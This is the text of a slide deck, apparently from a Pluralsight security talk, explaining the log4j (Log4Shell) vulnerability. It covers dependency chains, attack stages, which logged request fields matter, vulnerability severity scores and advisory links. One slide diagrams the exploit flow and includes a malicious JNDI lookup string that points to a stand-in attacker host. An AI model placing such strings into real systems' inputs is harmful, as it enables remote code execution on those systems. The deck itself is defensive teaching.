The document discusses the log4j vulnerability and its widespread impact. It provides an infographic showing that the vulnerability affected over 35% of internet-facing services and outlines the stages an attacker can leverage it for initial access, execution, persistence, and privilege escalation. It also notes several high severity vulnerabilities disclosed in 2022 related to improper input validation and deserialization that could similarly be exploited.

5. https://googleprojectzero.blogspot.com/2022/04/the-more-you-know-more-you-know-you.html

6. https://blog.qualys.com/vulnerabilities-threat-research/2022/03/18/infographic-log4shell-vulnerability-impact-by-the-numbers

10. Library
Direct
Dependency
Indirect
Dependency
Indirect
Dependency
Indirect
Dependency
Direct
Dependency
Indirect
Dependency

11. Credit: https://twitter.com/GossiTheDog/status/1469252646745874435

12. Recon
Initial
Access
Execution Persistence Privesc Etc.
…

14. Whatever you are logging!
• User-Agent
• X-Headers
• Body of the Request
• Etc.

15. Local or Remote
Database

16. :8080
:1389
:8888
$(jndi:ldap://evil.com/badstuff)
Malicious JNDI String
1
External Query
LDAP (or DNS/RMI)
2
Pointer (redirect) to 2nd request
Server Response
3
Malicious Java classes and code
2nd Response
5
2nd Request
HTTP(S)
4

17. JNDI Initialization
Protocol
Attacker’s Infrastructure
Payload

32. 10 - Critical
Pub: 12/10/2021
Upd: 08/17/2022

33. 9.0 - Critical
Pub: 12/14/2021
Upd: 07/25/2022

34. 5.9 - Medium
Pub: 12/18/2021
Upd: 07/25/2022

35. 6.6 - Medium
Pub: 12/28/2021
Upd: 08/08/2022

36. 5.3 - Medium
Pub: 01/01/2022
Upd: 02/10/2022

37. 9.8 - Critical
Pub: 01/14/2022
Upd: 08/08/2022

38. 5.5 - Medium
Pub: 01/19/2022
Upd: 01/27/2022

39. 9.8 - Critical
Pub: 02/20/2022
Upd: 02/28/2022

40. 7.2 - High
Pub: 04/13/2022
Upd: 04/21/2022

41. 8.8 - High
Pub: 04/19/2022
Upd: 05/11/2022

42. 8.8 - High
Pub: 04/19/2022
Upd: 05/03/2022

43. 7.0 - High
Pub: 06/17/2022
Upd: 07/05/2022

44. 8.1 - High
Pub: 08/24/2022
Upd: 08/29/2022

49. (03 Sep 2022)

50. https://www.microsoft.com/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations/

52. https://www.cisa.gov/uscert/ncas/alerts/aa22-174a

59. Software Bill of Materials (SBOM)

63. Proprietary and confidential
Questions?
• www.devaultsecurity.com
• linkedin.
• twitter. devaultsecurity.com
• github.
• brandon-devault@pluralsight.com
• https://github.com/Pluralsight-SORCERI
• https://app.pluralsight.com/profile/author/brandon-devault
}